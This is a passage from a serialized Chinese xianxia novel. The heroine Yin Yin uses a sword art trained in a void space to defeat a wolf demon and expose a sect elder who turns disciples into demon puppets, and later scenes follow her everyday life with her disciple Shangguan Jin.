山势汹涌,而后未逍遥片刻,便被迎头飞来的浩荡剑气削平成线,砰地碎出粉末四溅,化作黑雾悬浮于空。
群山不停,如同春草疯长,一路向着出剑人所立之处拔节而去,势如破竹。
出剑人反手挽了个剑花,破冻剑身无光自明,轻巧地在虚空之中飞出数刃,剑鸣阵阵,附于刃气长啸着撞向群山。
强横的剑刃将山头一一削平,山石无不碎为齑粉。
【虚无空间关闭倒计时:零天零小时零分钟五秒】
系统方欲作最后提醒,却见殷吟手腕一翻,剑势竟半分不停,朝空间最高之处信手挥刃。
破冻破出的剑刃轰然撞上它,排山倒海一般,最后一秒,它在虚无空间之中的投影也缓缓碎为粉末。
……这个不吃不喝不眠不休的疯子。
【虚无空间关闭】
殷吟醒来时,山色如墨,雨水飘零。
她照窗看出去,见空中稀稀疏疏飘着雨,萧索非常。
窗外有人瞥见她,登时喧闹起来,将这一缕半缕的幽远打破,并将殷吟十天虚无空间的苦修感慨碎了彻底。
外面到底在吵什么?
殷吟下榻,不明所以地推门出去,抬眼便见少年垂头抱剑,倚在门边闭目养神。
十天不见天日,她的耳朵都几乎要被剑鸣腌入味了,眼下蓦然看见上官今,竟油然而生出几分亲切。
“醒醒,”殷吟喊他,“你站在这里做什么?”
少年阖目时眉心微蹙,在轻唤之中缓缓睁开双眼,神色懵懂。
殷吟还等他回答,身旁陡然扑来四五个童子,七手八脚将她团团围簇起来。
小童们约莫六七岁的大小,齐齐脆声:“峰主姐姐!你醒了!”
殷吟站定,不知为何地看着一圈的玉瓷娃娃,确定他们就是方才她听到的吵闹声的源头:“这是干什么?”
她的人缘恐怕没有如此好吧?
上官今清醒几分,长剑隐匿,抬指示意她看余下的院中弟子:“不知道为什么,从昨天回来便围在这里。”
用剑吓也吓不走。
殷吟侧头看去。
院中果然团团围着几十个颂宗弟子,看着年岁稍长一些,似乎是不好意思上前,只睁着一双双大眼睛望着屋前的三人,忽闪忽闪像一片掉在山间的星河。
虚无空间的时间与这个世界是不流通的,殷吟所度过的十天无光无暗,实际上只过了半日光景。
她思绪流畅起来,回想起昨日在规门之前宋木咬
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牙切齿的面容,心下骤觉感觉这些小童子来得不怀好意。
殷吟莞尔一笑,不动声色地将上官今往人群推:“我还有事,让哥哥陪你们玩。”
既然眼下有了那张剑诀兜底,她该去找独孤净了。
上官今不甚情愿,回头望她。
殷吟用口型比了个‘听话’。
上官今:“……”
好在小童们亦不喜欢他,手紧紧攥着殷吟的衣裙不肯放手。若不是她身周淡淡的威压飘着,恐怕这些小孩会齐刷刷挂到她身上去。
小童脆声:“峰主姐姐别走,我们一起玩吧!”
院中的弟子们听闻殷吟要走,一时窸窸窣窣,都大着胆子上前几步,人影模糊了原先泾渭分明的界限。
“殷仙君别走!”
“殷仙君留下来吧,我想看看你的剑法!”
“我从来没有见过其他宗门的仙君……”
殷吟望着愈来愈近的人潮,苦不堪言。
你们再怎么白费口舌我也不会展示我的剑法的。
因为我根本就不会用剑。
她试图将几个小童黏在她身上的手松开,便于自己使用传送溜之大吉。否则这么多人,万一她一个咒法使偏,把人不知道传到何处的深山老林中去,那便不好交代了。
但小童的手多得像章鱼,一只扒开了就会附上另一只来,殷吟心累,骂又骂不得,只好转头去为难唯一一个能说的:“你还看?”
“我一碰他们就哭。”上官今无辜,伸手佯装去碰身旁的小童,登时吓得他哇哇直哭。
他收回手,神色坦荡地回望殷吟。
殷吟:“……好了你不要试验了。”
小童一哭,原本岌岌可危的现场氛围便急转直下,四面八方的小弟子围着哭喊不要走,声音响遏行云,在山峰之间回荡飘摇。
殷吟眼前一黑,感觉地上好像潜滋暗长生出了无数的触手,在小孩子们的高声呼唤中苏醒,纷纷扬扬破土而出来拉她。
她回扯了扯衣袖,蓦然感觉到一股微不足道的阻力,便低下头看。
“峰主姐姐,你能不能把独孤姐姐还给我?”叶叶见她看来,僵僵维持住仰头的弧度,眼睛红彤彤地朝她伸出右拳,“我很想她,我拿蝴蝶和你换。”
殷吟抿唇,很想告诉她就算把整个小宋岭的蝴蝶都送上来,自己也没办法和她换。
叶叶见她不回,又问:“宋叔叔说你把独孤姐姐藏起来了,你和我换好不好?”
纷纷扰扰中,她将拳头打开,一只蔫蔫的蝴蝶从掌中飞出,亲昵地蹭上殷吟的脸颊。
殷吟微愣。
你这蝴蝶好像是我的东西吧?
光蝶残了半片翅,在她眼下一颤一颤,像在控诉自己一路上经历的摧残。殷吟轻轻拍它的头,让它附到她的手上。
而后,她扬声止住众人的鬼哭狼嚎:“好了,你们围着我也没有用,独孤净不在我这里。
不知道是谁误导你们的,不过我这里倒是有一段亭植的传音,她和独孤净同为青门主的弟子……你们听不听?”
听到独孤净三字,众人你看我我看你,默契地平静下来,用行动表明了想听听这传音中是什么东西。
殷吟暗道一声小孩就是好哄,一手将蝴蝶托高。众目睽睽之下,残蝶的光芒不断膨胀,清晰的声音从光芒之中传出——
“殷仙君,我与阿净被囚,救命!”
16. 你会跪着求我放过你
春雨绵绵刺在地上,泛出呛鼻的潮土油味,一时充斥天地,将整座小宋岭罩入这方阴郁之中。
此时攀山,精怪最多,最是危险。
山间栖息的黑狼仰头看天,这方天地的气味本就让他恹恹不乐,伸展拳脚都觉着烦,偏偏他的鼻子又嗅到灵力波动。
就近有棵漆树,数丈之高,顶指青天。黑狼攀树而上,在树顶的尖尖朝天一跃,化作黑气急遽掠往颂宗。
黑气翻云覆雨,骤然在半空之中停下,螺旋盘桓,凝聚出人形,眼皮懒懒抬起。
上官今睇他一眼,而后不动声色收回目光,不愿再看:“好丑。”
沧浪:“……”
“真没礼貌,”殷吟将他往外推,全然不顾一旁还站着的反派,“你跟着蝴蝶去找亭植和独孤净,这里交给我。”
“嗯,师尊小心。”
殷吟点点头,目送上官今远远离去。
沧浪怒不可遏:“你们两个太过分了吧!”
“呦,”殷吟回过头,目光可怜地看着这只被未来上司嫌弃的狼妖,“我还以为你不敢来了呢。”
如若不来,还浪费了她暗无天日地苦练了十天的剑诀。
狼妖咧嘴,气势汹汹地露出左右两颗对称的狭长獠牙,指间长甲零时疯长,整个背像兽一样佝偻下来。
“真的很丑。”殷吟点评。她轻轻抬手,长剑便无声无息地在她掌中凝出实体。
沧浪目光一凝:“这把,不是你上次用的剑。”
殷吟上次那把剑很别致,剑身虽然镂空,看起来弱柳扶风不堪一击,但却异常地尖锐善战。
上次在独孤府被那柄剑讨了好,它一直食不下咽,想再来一场。
“它说你太弱了,不想见你。”
“可惜了,不用全力的话,你会死得很后悔!”沧浪冷哼,忽地凌空而起,血盆大口朝前扑去。
山岭地势,下雨天,十个仙君都不会是它的对手。
殷吟将苍山横至身前,运气抵下此击。
虚无空间关闭时,也将她训练了十日的熟练度悉数抹去,若是不使用剑诀,她便只能依自己对战。
剑刃相交,漾出整圈涟漪一般的剑气迸发四散,沧浪往后一翻,动了动被震得发麻的一对獠牙,咧口笑:“就只有这点本事?”
它以剑意迎战,却啃了对手一口堆叠的灵力。
只有弱者才依靠灵力的数量致胜。
沧浪再无惧意,虚踏着空气前掠近身,长爪在虚空之中流转寒光,迎着苍山剑身不断攻击,尖锐的交战声四溅入耳。
它屡屡出爪,将殷吟往后不断压制,几乎挤入群山之中。
殷吟凝眉,紧握着被震得发麻的手腕,心下一动,苍山便劈出一刃,将攻势正汹的沧浪击飞少许。
狼妖攀上高树之巅,眸色狠厉:“殷峰主,还有遗言吗?”
“搞错了吧,”殷吟手腕一转,云剑直指狼妖鼻尖,睥睨道,“遗言应该是将死一方要考虑的事情。”
眼下,草木青葱,徐徐风动。此处已出颂宗地界,远离尘嚣,实是再好不过的擂台。
殷吟预备在这里开启剑诀,五分钟之内结果这只妖魔。
长风猎猎,她对沧浪道:“狼妖,你信不信,三息之后,你会跪着求我放过你。”
“我有名字!”沧浪神色骤凛,沉聚在小宋岭之间的戾气借着雨势不断扎入它流淌的灵根之中,它的表皮渐渐长出又尖又细的黑毛,瞳孔愈尖。
殷吟看得拧眉:“狼妖,谁管你叫什么名字。”
她分出一缕心神,默念。
“使用剑诀。”
这次,系统并没有再如从前般沉默。
【剑诀使用】
脑中金属声音骤响,霎时,在虚无空间之中的记忆纷纷回笼,如同无数分支的小河溪源齐齐破塞,聚成愈演愈烈的大江,江水汹涌澎湃地洗涤尽了通身的骨骼肌肉。
殷吟眉心一通,蓦地感觉到天地之间的灵气正由此徐徐没入她的体内,她能看到狼妖鼻旁最细微的一圈黑毛,能目及往它身上不断扎入的黑气。
苍天之间,灵气与煞气并聚,化出一黑一白两相圆月,不相上下地膨大,甚为奇异。
于是她随手转了个剑花,掌中苍山和着她的剑意,阵阵剑鸣由华美的剑身颤动出来,群山万壑相伴低鸣,琉璃彩光在黯绿的天地之间焕出奇彩。
沧浪眉头紧蹙,竖起的畸形长耳不断嗡动,忌惮地掩了掩身形。
“怎么会……你刚才剑中分明没有剑意。”
“记住这分剑意,它第一个杀的妖魔是你,狼妖。”
殷吟不再多言,她阖眸,虚无空间中的一分一秒便在她眼前乍现,如同走马观花,虽动作看不真切,却能细细体会到剑诀之中每一招式、每一缕灵力该如何把握。
一丝一缕,皆是她体悟而出。
殷吟抬睫,眼中再次映出狼妖的身形。
山色浓稠,一袭飘渺的身影自此背景而起,手中长剑泛光,缭绕的灵力丝丝缕缕杂着七彩明光。
她轻巧挥剑,便有无数凌厉剑刃自苍山剑身而出,炫目夺人,有如九天之上的瑶池华光,又似逍遥仙鹤的丹顶。
剑刃来势迅疾,沧浪兽眼竟看不清,他体感其中杀意之重,咬牙强以双爪作挡,却被击得节节败退。
方才是殷吟被它压着打,不过瞬息,竟然便换了攻守。
沧浪反应不及时,苍山已无声近身,流转在剑身的神光刺得它双眼生痛不能视物,仅是转瞬,便被秋霜般的利刃划破了双目!
“啊……”
它捂着双眼的手不断颤抖,有几个被割掉一半的指甲已经朝外渗血,将手背的皮毛凝固成团。
它痛嚎几声,正下破釜沉舟之势,又觉身周一凛,耳捕到长剑挥出的风声,却无法比它更快,生生又挨数刀。
沧浪能感觉到,现在的它完全不是殷吟的对手,而他的耳朵之所以还能听得见,或许也与殷吟的刻意为之有关。
挟着长风的寒冷剑身没入体内,沧浪不断听到噗嗤的破肉声与出剑人的寒声。
“一剑,为亭植与独孤净。”
“一剑,为在炼制魔傀中死去的所有人。”
“一剑,为还在受欺瞒的颂宗弟子。”
“……”
“一剑,为上次偷袭
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。”
“一剑,为十日不休不眠。”
沧浪头脑昏痛,感觉身体已经被分成了好几十份,那些原本入他体中的戾气也徐徐飘散,黑月模糊不成样。
可是最后的罪名他根本就不知道是什么东西啊!
找错仇人了吧!
随着最后一剑,沧浪的人形化回狼状,千疮百孔地倒在了泥泞土地上。
殷吟轻轻点地,苍山在她指间又再消散。
【剑诀剩余时间:十分钟】
“系统,剩下的时间我存着可以下次再用吗?”
【……】
殷吟见它不答,便知这条道走不通。
于是她另辟蹊径:“那能换成别的东西吗,还有三分之二没用到呢,挺可惜的。”
这次她的神识之中彻底感觉不到系统的存在了。
殷吟心想真是小气。
她回过神,探头去看趴在地上的狼妖,掌间苍山若隐若现。
虽然是感觉不到生息了,但还是再确认一番比较放心。
殷吟如是想着,便抬步上前。
狼妖胸前的大口倏然化出一团黑气,殷吟抬剑斩去,黑气直撞上剑刃当下四散,有一小缕如藕丝一般的,身形诡谲,绕了个小弯往远处飞速窜去。
殷吟拧眉,急忙运气去追。
·
独孤净眉心一凝:“亭植,你说什么?”
宋木见她神色动容,下意识冷声呵道:“你说什么胡话!你平日再怎么胡闹,不回弟子院落也就罢了,如此大事,你怎可信口雌黄?”
他本以为青圭只是被伤了些道基神情恍惚。不想她竟如此没用,连区区一个亭植的锁声咒都控制不住。
“我不回弟子院落?”亭植冷笑,“难道不是你害怕我说出你和青圭在做的腌臜事情,不让我去吗?”
“宋木,你敢说,那天晚上我在规门看到的,杀了师兄的人,不是你?”
“我自然敢。”
“你不要脸!”亭植说得激动,喉咙一哑便猛咳几声。
这次,她没有再品到那种令人作呕的腥甜味道。
宋木神情冷漠,抬指飞出一丝灵力,直直朝亭植面中而去。
那灵力只至半空,便被截下。
独孤净微微蹙眉,上前虚挡在二人之间:“为什么……你们两个人谁说的是真的?”
宋木:“她累得说胡话了,让她睡一会。”
独孤净回他:“不行。”
“那便没办法,看来你已经信她了,”宋木叹气,面上却不见无奈的神色,兀自抬手聚灵,“本来是想让你带着善意的谎言幸福地离开这个世界的。”
独孤净目光沉沉,亦抬手运气。
“独孤净,就凭你,也想拦我?”宋木像是看到什么好笑的事情,忍俊不禁,“青圭没用了……好在上次成功了一半,她也不重要了。我先将亭植炼成魔傀,让你看看,你们吵了这么久,到底谁对谁错。”
他目光一凛,独孤净便觉心头一颤,一股乍起白灵气蓦然将她震飞,后背呯地撞上白墙。
远处,宋木一手掐住亭植的喉咙。
“亭植!”
17. 师尊的生辰呢
“这一路上,果然是一只妖怪没看到嘞。”
“那当然,”身着丝绸的矮壮男子用佩着金环的手拍了拍胸脯,连带着项上坠着的灵玉都颤了颤,“这是我花大价钱从一位仙君那买的法宝护身玉,寻常魔物见到都要退避三舍,不敢侵扰。”
妇人称是:“就是奇怪,今天这仙家地怎么不见小仙君们哩?”
“谁知道,”矮壮男子挥挥手,便有几缕微弱的灵力于指间乱窜出去,“可怜我家小女,现在仍不知所踪,我哪里有心思管别人。”
妇人想起出门后便不见了的亭植,一时也默不作声。
真真是奇怪。
独孤家阿净出嫁,在崔府遇上了怪事,独孤净不知所踪,独孤老爷正急得像热锅上的蚂蚁,宋仙君却突然下山告知他安心。
但独孤老爷纵横商界数十载,什么事情都要自己握在手中,自然不可能就此放下心。
于是乎,他便带上了自己数年来从各种仙君道士手中购入的稀世法器,伙同亭家人一起上小宋岭来找,誓要当面看个清清楚楚明明白白。
妇人亦是如此想法。
山间逢下雨时,雾气便大,颂宗之内也不除外。二人正走半摸瞎地走着,面前忽地一亮,一袭身影翩然而至。
“妖——仙君?!”独孤老爷惊得失声,意识到护身玉没有反应之后,倏地冷静下来。
二人定睛看去,雾中人长身玉立,仙风道骨,衣衫周正,赫然便不是一位妖魔。
上官今默然。
此二人在颂宗之内鬼鬼祟祟。他原本是不备理会的,只是那男子身上带了件法宝,有聚灵的功效。
他自己似乎浑然未觉,但每手舞足蹈地说几句话,便有几丝乱撞的灵力在空中四溅,无甚伤害,却很是烦人。
“你们找谁?”
妇人与独孤老爷对看一眼,异口同声道——
“宋木,宋仙君。”
·
宋木的身周诡异地升起了一个法阵,像是在他身后背上了一个龟甲。
随着阵心大亮,他腰间挂着的储物袋开始不断往外冒出药材,齐齐补入阵中,又再助长了法阵的亮光。
青圭受伤,要找齐这些药材可费了他一番功夫。
“不行……”
独孤净颓然落地,她咬了咬牙,方想再站起来,宋木却遥遥有感地瞥来一眼。
她当下心口一重,咳出鲜红的血来。
“宋木,你有本事,先冲着我来!”
“不用急,你们都跑不掉,”宋木寒声,“你们应该觉得荣幸,因为你们很可能便是我炼制出来的第一批成功品。”
阵光大亮,一个相同的法阵缓缓从宋木的背后分离出来,直直飘向离地腾空的亭植。她眼见法阵愈来愈近,不止地蹬腿挣扎。
“停下……停下……”
法阵将将触及她的鼻尖之时,不知何处而来的剑风携着深厚浩荡的剑意破门而入,剑刃高调又轻巧地划破了张牙舞爪的法阵,无声无息。
“谁?!”宋木拂袖回身,神情忌惮。
木门破溃的大小木屑在空中纷纷扬扬,尘土四起之中,他凝神看去,神色忽而松动,又骤然紧张:“怎么是你?”
一片呛鼻的棕色尘烟之中,上官今手执着一柄通身雕镂的长剑走出,衣袂之上沾染了大小的木屑,令他神情并不好看。
宋木眉眼微凛。
他怎么会带着殷吟的佩剑?
宋木早与沧浪说好,若是弟子们无法拦下殷吟,便交由沧浪出面,届时殷峰主是死是活,颂宗一概不管。
虽然宋木并不相信沧浪是殷吟的对手,但只要那狼妖能拖延上片刻时间,他便能炼好魔傀。
他甚至想到,若是上官今来了也好办,横竖不过一个刚收的弟子,连金丹都没结出来,不成气候。
但眼下,他竟然带着殷吟的佩剑来了,这便不好了。
宋木咬牙。
狼妖果真就是狼妖,半点靠不住。
“你怎么来了,”宋木扬眉,强装淡定,“你的师尊应当更需要你吧?”
独孤净见二人对峙,爬着便想上前去将亭植拽远,不想宋木一记眼刀甩来。
只是他方动作,便被破冻一个剑刃劈到了墙上,闷哼一声,如同软絮飘飘然瘫倒在地,再无反抗之力。
不过是个元婴的修者。
上官今斜眼睇破冻,陡觉它的脾气比起殷吟还要更甚。
独孤净一步一趔趄地上前扶起亭植。上官今恰时收回目光,朝外道:“进来吧。”
外头的人似乎早已等不及了,仙君的示意下,一前一后连忙进门。
“植植?这是怎么回事哩?!”
“哎呦!我的小女怎么灰头土脸的,这是怎么个事!”
妇人与独孤老爷纷纷上前,围簇着各自的女儿,眉眼愁愁,似是分别在头上挂了一片乌云。
“就是他,将弟子炼成魔傀。先前接连入选的好几批内门弟子,其实都已经……”亭植指尖颤抖地指地上的宋木,言词铿锵,到最后却几乎成了气声。
上官今颔首。
这与青圭所说的大致无差。
独孤净静默听完此言,推开搀扶着她的那双戴金挂玉的手,在众人或不解或讶异的目光之中愈退愈后:“我原本以为颂宗给了我一条新路,结果你们其实并无区别,都是这种玩弄人心、为己谋私的小人作派。”
亭植垂眸,知她说的是宋木和独孤老爷。
独孤老爷哎呦一声:“小女啊,我是为你好啊。”
“为我好?”独孤净冷嗤,“为我好,在我的生辰把我嫁到崔府,我是傻子吗,我很好骗吗,你要我怎么相信?”
独孤净逻辑清楚又言辞犀利,独孤老爷不知怎么答,左看看右看看,发现就连身后抵着宋木威胁的那把漂亮剑都不屑地朝他晃晃剑柄,当下急得上前两步。
此时,他忽觉身上灵玉一暖,明晓是有妖魔接近,独孤老爷脸色一变。
黑气自眼角闯进视线之中,他顾不上思考,过于壮实的身躯此时却反常地灵活,一个旋身挡在独孤净身前。
黑气避让不及,直直照着独孤老爷的眉心钻了进去,尾巴在空中一挑。
该死,本来是想找一个修为较高的!
众目睽睽之下,独孤老爷在黑气入体之后,身形一僵。
独孤净心下骤然狠狠一动。
“站住!”殷吟高呵。
狼妖的黑气过于狡诈又无孔不入,她的剑诀只适于对战并不精轻功,眼见被占了好一路逃窜。
她一面走近,一面朝独孤净喊:“离他远点,刚刚钻进去的是一只狼妖。”
独孤老爷脖颈乍动,一双长眼缓缓睁开。见最近处的独孤净不露痕迹地朝后退开,目光若有若无地黏了上去,忽然扬起一个羞怯的笑容:“我没事啊,女儿你看,我身上有护身的法宝呢,那些小小妖魔能奈我何?”
他两指掂起项上的灵玉,朝众人晃了晃。
众人皆是不语。
“那可不是寻常妖魔,是魔界的大魔沧浪。”
上官今向外看去,殷吟正锋芒毕露地抬剑指那独孤老爷,徐徐步入屋内。
独孤老爷被苍山的寒光一闪:“……女儿,你快和仙君说清楚啊,我怎么可能是妖魔?你最了解我的对不对?”
独孤净抿唇,目光审视,似在斟酌。
殷吟沉声:“你要是真的心里坦荡,那便与我们走一趟,是人是魔,法器一试便知。”
高阶的妖魔可以摄魂夺魄,侵占人体为自己所用,因而大多宗门都会有一件用以辨明人魔的法器。
狼妖若是敢,便去试试。
独孤老爷无奈,看向独孤净:“女儿……”
“阿爹,”独孤净神色沉静,步履微停,“你若真的心里无鬼,便听殷仙君的去试一趟,也好还你清白。”
独孤老爷眼见说不动这个小女,门口的殷仙君又握着苍山战意汹汹,害怕地不停朝中间退。
“……殷仙君前几日便出面搅黄了独孤与崔家的婚事,如果仙君心中仍有不快,在法器之上动手脚怎么办?!”
殷吟:“独孤净,离他远点。”
独孤老爷步子越挪越小,却始终不肯停下。他浑身颤抖,似乎是怕到了极点,忽地面色狰狞起来,张开双颗小指长的獠牙朝身后的独孤净咬去。
“呲——”
它的嘴巴还未完全张开,人便被一方长牙穿透右肩,鲜血蔓延,独孤老爷怒目圆睁地低头一看,人直愣愣地倒在地上不动了。
独孤净讶然抬头,面前,妇人颤颤巍巍地收回手:“这……这是刚才独孤老爷给我防身的哩。”
苍山一顿,聚成的剑气在虚空之中消散。
·
一日光景,颂宗骤少了宗主与唯一的一位门主,一时群龙无首。
殷吟处理完龟缩起来的青圭,便见一院的弟子又团团围在外面,睁着大眼睛畏畏缩缩地看着她。
殷吟疑惑。
又想干什么?
叶叶见她出来眼睛一亮,抱着殷吟的膝盖又蹦又跳:“峰主姐姐,我听亭姐姐和独孤姐姐说了,你是好人,不是把她们关起来的坏蛋!”
“……你们之前是这么宣传我的?”殷吟摸了摸叶叶的头。
叶叶仰头:“峰主姐姐,你不要走,留在这里陪我玩好不好?”
殷吟挠她下巴玩,不禁比较起来。
相比在道生宗
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为宗主打杂,当然是自己出来另起一宗,当山头霸王更好啦。
遑论小宋岭还毗邻人界,平时如果想开开荤可以直接下到人界去,不像剑峰一天到晚只能吃没味的清水煮白菜。
系统越听她的心声越觉得不对劲,出声制止。
【这里没有主线】
你快点回去走主线吧!
殷吟回它:“我知道啊我就想想过过心瘾。”
“殷仙君!”远远有弟子高声喊,将她的思绪骤然拉回,“亭植和她阿娘在宗门口吵起来了!”
宗内纷争,原本是该禀告青门主处理的。但眼下宋木和青圭都因犯下大罪被关押起来,弟子左思右想,便想到来找殷吟和上官今。
牌坊之下,两方鸱吻仍不怒自威,一动不动地盘桓凝视着坊下人。
“不行,你不要再待在这里,和我回家去。”妇人眉目强硬,扯着亭植的手就要往山下走。
亭植用力回拉:“我不回去。”
“这地方危险的呀,妖魔鬼怪一大堆,留在这里哪天小命要没有的嘞!”
“阿净也在这里。”
“阿净这丫头也是,”妇人脸色稍变,声音小了下去,“等她阿爹醒来一定要带她下山的哩!”
控制着独孤老爷的黑气被一牛角扎破魂魄,彻底没有了生息,而独孤老爷受了伤,又是宗内弟子的血亲,便被许留在颂宗修养,以仙草仙丹疗愈。
仙门出了魔,这毕竟不是什么光彩事情,妇人说得很小心。
不过纵是她声音压得再低,在耳清目明的修士耳中也是一清二楚。
殷吟计算着可以到自己出场,便一旋身飘飘出现在二人之后:“妹妹放心,颂宗现在很安全了,而且亭植这次功劳最大,宗内有好多同修想见她,还在想奖赏些什么相配呢。”
妇人闻声回头,见碧玉年华的仙君称她妹妹,一时不好意思。
“仙君,这怎么好意思。”
上官今掩身远处,静默倾听殷吟如何如何与妇人言语。
最后,妇人容光焕发:“我看仙君是好人,那听仙君的。”
亭植看着目瞪口呆。
.
处理妥当了亭植的事情,二人往颂宗之内走。
破冻剑身轰鸣,似乎很是不满殷吟今日对它的安排,被她屈指敲了两下方才老实。
她指指坠在腰际的储物袋,破冻便委屈地钻了回去。
两剑对调是她在虚无空间之中的某天,蓦然想到的主意。
既然意外进入了支线,当然就要尽力做到最好。
她有了剑诀,用什么剑是无所谓的。于是她先在破冻之中注入自己的灵力,相当于多开了一个分身,可以同时处理沧浪和宋木。
简直是天才。
“我厉害吧?”她侧头问上官今。
“厉害。”
上官今又回想起破冻不由分说把宋木劈至墙上的那一幕,寒得睫毛上都像结了层霜。
“你这是什么表情。”殷吟沉思片刻。
将灵力注入到破冻中后,破冻便算是她的半个分身,她亦可以透过破冻看到当时发生的事情。
那一剑在殷吟脑中过了三遍,她依旧没有找出任何不妥。
剑意完美,剑气完美,挥剑的弧度完美,最终呈现出来的效果也是无可挑剔。
殷吟摇摇头把画面晃出脑海,免得自己看得走火入魔。
罢了,如此完美的一剑想必也不是人人都能体悟到的,还是说些简单的话题。
她透过破冻听到过独孤净提起昨日是她的生辰,便不免好奇:“上官今,你知不知道你的生辰在什么时候呢?”
上官今点头:“嗯,知道。”
殷吟又问:“什么时候?”
上官今垂眼,抬起手腕时衣袂微微滑落,露出皮肤之上蜿蜒的青紫血管。他心念一动,便另有一道极白的咒痕浮现出来,淡淡的文字飘出虚空。
是一道可以存留信息的咒。
“你这……”殷吟欲言又止,想说还挺有仪式感的,又觉着奇怪。
什么情况下会把自己的生辰封存起来,化作一道咒印在身上呢?
上官今抿唇:“我也不知道为什么,但这确实是我的生辰。”
他收回手,乌黑的眼瞳定定望着齐肩而行的人:“你呢,师尊?”
殷吟偏过头:“你知不知道询问一个高阶修者的年龄很不礼貌?”
虽然她不是真正的高阶修者,但是并不影响她用这个借口。
上官今想了想,答道:“可是生辰又无关年龄。”
殷吟:“……那也不说。”
我没有办法告诉你。
因为你们不用国历也不用农历。
18. 师尊什么时候交了新朋友
小宋岭春色愈灿,桃花次第开在山间,清幽的隐香沁入颂宗,殷吟却时不时能嗅到杏仁味道。
每值此时,她便告知上官今一声,上官今倒没怎么闻出来,不过每次殷吟嗅得之后,他很会很快福至心灵地闻到。
因为当天殷吟便会馋着杏仁。或是自己或是旁人下山去买,她则在傍晚吹着谷风之时,边看着他练剑边吃。
颂宗另拔了两位老师任宗主与门主,百废待兴的宗门焕出生机,晨间诵书声更甚,挥剑斩出的剑气几乎要传到二人的住处来。
杏仁渐渐少出现在上官今练剑时,山间幽潭适时绽出了荷花。山泉清凉,殷吟便三天两头地撺掇着一起去摘莲藕,总要半夜三更去偷厨房的锅用。
弟子们有张小宋岭荷池图,吃喝玩乐不弱于她,殷吟便谎称山中某地最近又生出了大妖,让弟子们不敢前往。幕内只有上官今知晓,其实那处只有一片长势很好的莲池。
秋中麦穗沉甸,颂宗弟子常下山助农,有时便会带一些回来,蒸出来的饭香飘入山中,曾引来过一只修了十来年的小花妖。
到了冬天则冷清许多,山中飘雪,一派寂静与凄白。殷吟说这方天气适合睡觉,常常日上三竿方能听到房里有零碎的动静。
行笔至此,墨色突然断折,像被一支寒梅被生硬扳下,之后的宣纸如雪一般的空白。
新的宣纸不由分说叠下来,毛笔方再在上面泼墨挥毫,行云流水之间却像换了个芯子。
春去秋来,两剑对峙,四逸的剑刃削平勃发的漆树叶,惊飞一层一层的山间栖雀,院中人移步换影,交替翻飞的衣袂颜色斑斓,如宫廷画师泼墨作画。
大寒天久雪不止,地上积着厚厚一层过膝的深雪,二剑对撞之时灵力乍炸,远近方圆的枯树枝桠齐齐颤动,剑鸣高亢嘹亮,和着少女眼中的高光清脆难折。
各不相让的两柄剑身骤然分离,白衣旋身之间卷起未被压实的整地雪,纷纷扬扬绕成龙卷风的模样,身形匿于其中诡谲难辨。
上官今凝神分辨,破冻却霎时击雪而出,剑气凛冽冰冷,直指他脖颈。
“我赢啦!”
漫天的雪花失力地簌簌落下,像是下了一场方寸大小的雪,旋而殷吟的身影又再出现于天地。
入冬半月,她恍惚总有些思念虚无空间中的日子。那时因为有着时间限制和外面不怀好意的狼妖沧浪待她解决,她练起剑诀来常常无日无夜,自觉用功得很。
但一出来外面,一天十二个时辰日月更替斗转星移,时间流逝让她反怠惰了许多。练剑的势头不比之前足,进步速度也慢下许多。
每天清醒地看着自己沉浸享乐,唯一的慰藉便是每日对垒,自己依旧打得过上官今。
殷吟拍了拍肩上的落雪,将虚空抵在少年脖颈的破冻拿远:“这个我也要记到我的工作日志里去,三百零五战三百零五胜。”
上官今看着殷吟不断用双手比划着三百零五这个数字,瞳底微动,恭声问:“师尊,这算是以大欺小吗?”
殷吟侧头:“那你是不是输了?”
上官今微一顿首:“嗯,师尊赢了。”
“那我说的有错吗?”
上官今应声:“嗯,没错。”
师尊不讲道理,就是心中还存着气。
自从殷吟前几日检查工作日志,发现作为撰写者的他在其中明里暗里地大肆铺陈她喜好吃食,有暗暗贬低之嫌,便与他不对付到现在。
尽管上官今对天发誓他绝对没有这番心思,殷吟却不相信。
他回忆着殷吟方才的话,放慢步子待她逗弄完枝上的腊梅:“明日不比了吗?”
殷吟收心回头:“不比,明天有别的事。”
上官今:“喔。”
殷吟少有连他也不告知的事情,甚至抓溪鱼逮山雀的小事都有他一份。上官今不禁想这次是什么事情,却见殷吟并没有要同他说的意思。
莫不是什么时候交了新朋友?
上官今有些郁郁。
·
翌日破晓,他日常于院中练剑,剑气簌簌散入风声之中,却直到日上三竿都不见得殷吟屋中有动静。
殷吟并未吩咐,他便存着心思不去叨扰。待天光将剑影照偏东去,方停了剑,去敲她房门。
“啌啌——”
寒风送声,上官今微微蹙眉。
屋中寂静非常,未闻见回应,他斗胆细分一缕神识进去感知,竟察得屋内半点生息都没有。
师尊今日竟是早早便出去了吗?
上官今垂睫,收起指节泛红的手,自再去练剑。
今日没有日常的傍晚对剑,上官今便多打了会儿坐,待到神识回笼,身上结出的寒霜已被萦绕的灵力烘得湿润,整个人像淋了一场霏霏细雨,温润似幻。
他也恰时破境,进入金丹境。
上官今不顾衣上潮湿,整衽起身,忽觉身后声息熟悉,旋而有人轻拍了拍他的右肩。
他凝滞的瞳心泛动,入目便是殷吟的面容,微退半步问道:“师尊,回来了?”
“不然是谁站在你面前?”殷吟觉得好笑,将沾在指腹的露气抹去,“你怎么回事,跑到这荒山野岭来,我找都找不到你的影子。”
她一刻钟前回到院中,翻来覆去找不到上官今的身影,最后还是找出神识搜遍了颂宗,才在这犄角旮旯翻到他的气息。
“我正准备要回去。”
上官今神情泛出歉意,抬眼见殷吟发髻松散,头上常戴的绒花少了一个,剩一个灰扑扑孤零零地傲立,看起来好不可怜。
他收回目光,与殷吟一同往回走:“师尊,今日玩得开心吗?”
殷吟观察着远近因上官今破境的灵力波动而颤晃的枯枝,闻声目光游离:“……开心啊。”
上官今侧头瞟:“还未听师尊说过,是交了新朋友?”
早前殷吟将苍山与破冻放在一起斗剑,被他发现时也是这番心虚神情。
殷吟抿嘴:“没有。”
“那是与何人相约?”
殷吟无处安放的目光左看看右看看,问题一个接一个来,她回得愈发艰难。索性便少走一步,押着上官今走快。
“你怎么那么多问题,快走快走我饿了。”
上官今止声:“……好。”
他在剑峰不常见殷吟进膳食,本以为是仙人辟谷已久,餐风饮露。但自颂宗的风云了结后,却发现殷吟一日三餐是半餐不少。
